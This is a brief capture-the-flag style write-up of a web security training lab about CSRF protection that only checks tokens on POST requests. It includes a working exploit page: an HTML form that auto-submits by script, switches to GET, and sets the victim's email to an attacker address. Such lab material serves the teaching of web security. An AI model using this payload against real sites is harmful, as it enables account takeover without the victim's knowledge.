CSRF where token validation depends on request method
BACKGROUND
This lab's email change functionality is vulnerable to CSRF. It attempts to block CSRF attacks, but only applies defenses to certain types of requests.
To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.
You can log in to your own account using the following credentials: wiener:peter
EXPLOITATION
<form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
<label>Email</label>
<input required="" type="email" name="email" value="">
<input required="" type="hidden" name="csrf" value="jth5rZrNeODnhqIRAsBx0tS8pyZdXodd">
<button class="button" type="submit"> Update email </button>
</form>
The change email feature sends a POST request with a csrf token value
<html>
<head>
<title>CSRF-2</title>
</head>
<body>
<form action="https://0a8100ca03a1ba588113a7d9008400c9.web-security-academy.net/my-account/change-email" method="GET">
<input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
instead of using POST, it uses GET to bypass the CSRF protection